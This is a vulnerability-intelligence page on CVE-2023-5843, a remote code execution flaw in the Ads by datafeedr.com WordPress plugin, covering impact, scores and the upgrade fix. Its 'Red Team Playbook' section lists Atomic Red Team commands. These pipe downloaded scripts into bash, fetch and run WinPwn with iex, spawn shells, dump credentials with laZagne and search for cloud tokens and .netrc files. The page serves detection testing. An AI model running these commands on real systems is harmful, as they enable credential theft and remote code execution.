CVE-2023-5843
Overview
The vulnerability is a remote code execution flaw caused by improper handling of user input within the 'dfads_ajax_load_ads' function of the Ads by datafeedr.com WordPress plugin. The root cause lies in the unsafe evaluation of parameters passed to this callable function, which lacks sufficient sanitization or validation. This flaw exists in versions up to and including 1.1.3, specifically affecting the plugin's AJAX ad loading mechanism.
Vulnerability Description
The Ads by datafeedr.com plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 1.1.3 via the 'dfads_ajax_load_ads' function. This allows unauthenticated attackers to execute code on the server. The parameters of the callable function are limited, they cannot be specified arbitrarily.
Impact
An unauthenticated remote attacker can execute arbitrary PHP code on the affected server, enabling full control over the hosting environment. No authentication or user interaction is required, and the attack can be performed remotely over the network. This can lead to data compromise, website defacement, or complete service disruption. The CVSS vector (AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H) indicates network attack with high impact on confidentiality, integrity, and availability, though the attack complexity is high due to parameter restrictions.
Solution
Users should upgrade the Ads by datafeedr.com WordPress plugin to a version later than 1.1.3 where this vulnerability is addressed. Detailed patch information and code changes are documented in the WordPress plugin repository changeset 2991088 and the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/5412fd87-49bc-445c-8d16-443e38933d1e. No official workaround is provided; updating the plugin is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Ads by datafeedr.com plugin for WordPress is characterized by a critical flaw that allows for remote code execution (RCE). This vulnerability arises from the 'dfads_ajax_load_ads' function, which is improperly secured and can be exploited by unauthenticated attackers. The function's parameters are limited, which may initially suggest a degree of safety; however, the lack of robust input validation and sanitization creates an opportunity for attackers to manipulate the execution flow. By sending specially crafted requests to the vulnerable endpoint, an attacker can execute arbitrary code on the server, leading to potentially severe consequences.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage social engineering tactics to trick a user into visiting a malicious site that sends the crafted requests to the vulnerable plugin. Alternatively, automated tools could be employed to scan for vulnerable installations of the plugin, allowing attackers to target multiple sites in a short period. Once the attacker successfully exploits the vulnerability, they can execute commands on the server, which may include uploading malicious payloads, creating backdoors for persistent access, or even taking control of the entire web server. The implications of such actions can be dire, affecting not only the compromised site but also its users and associated services.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on the affected plugin for advertising and revenue generation. Successful exploitation could lead to data breaches, loss of sensitive information, and unauthorized access to user accounts. Furthermore, the integrity of the website could be compromised, leading to reputational damage and loss of customer trust. Organizations may also face regulatory repercussions if user data is exposed, resulting in financial penalties and legal challenges. The high CVSS score of 9.8 underscores the critical nature of this vulnerability, indicating that it poses an imminent threat to any WordPress site utilizing the affected plugin.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the plugin to the latest version is essential, as developers often release patches to address known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the server, providing an additional layer of security. Monitoring server logs for unusual activity can also aid in early detection of exploitation attempts. Organizations should conduct regular security audits and vulnerability assessments to identify and remediate potential weaknesses in their web applications. Educating users and administrators about safe browsing practices and the risks associated with outdated plugins can further enhance overall security posture.
In conclusion, the vulnerability within the Ads by datafeedr.com plugin presents a critical risk to WordPress installations, enabling remote code execution by unauthenticated attackers. The potential for significant business impact, including data breaches and reputational damage, necessitates immediate attention from affected organizations. By adopting proactive detection and mitigation strategies, businesses can safeguard their web applications against this and similar vulnerabilities, ensuring the security and integrity of their online presence.
Recent updates to the CVSS and EPSS scores for CVE-2023-5843 indicate a modest recalibration of its assessed severity and exploit likelihood. The CVSS score has been adjusted downward from 9.8 to 9.0, reflecting a refined understanding of the vulnerability’s impact and exploitability constraints, particularly the limited parameterization of the vulnerable function. Concurrently, the EPSS score has experienced a slight increase, suggesting a marginally higher probability of exploitation attempts in the near term. CSURFACE threat intelligence notes this incremental rise in EPSS is accompanied by a steady upward trend over the past week, though no rapid acceleration or new exploit techniques have been detected by our telemetry. This nuanced shift underscores that while the vulnerability remains critically severe, the practical exploitation risk is stabilizing rather than escalating dramatically. For defenders, this means prioritization remains essential, but the absence of emergent exploit activity provides a window for measured response. The updated risk assessment maintains a critical threat level, emphasizing continued vigilance without indicating an immediate surge in active exploitation campaigns.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Datafeedr | Ads By Datafeedr.com | All |
cpe:2.3:a:datafeedr:ads_by_datafeedr.com:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-5843 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/5412fd87-49bc-445c-8d16-443e38933d1e?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/ads-by-datafeedrcom/tags/1.1.3/inc/dfads.class.php#L34 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/2991088/ads-by-datafeedrcom |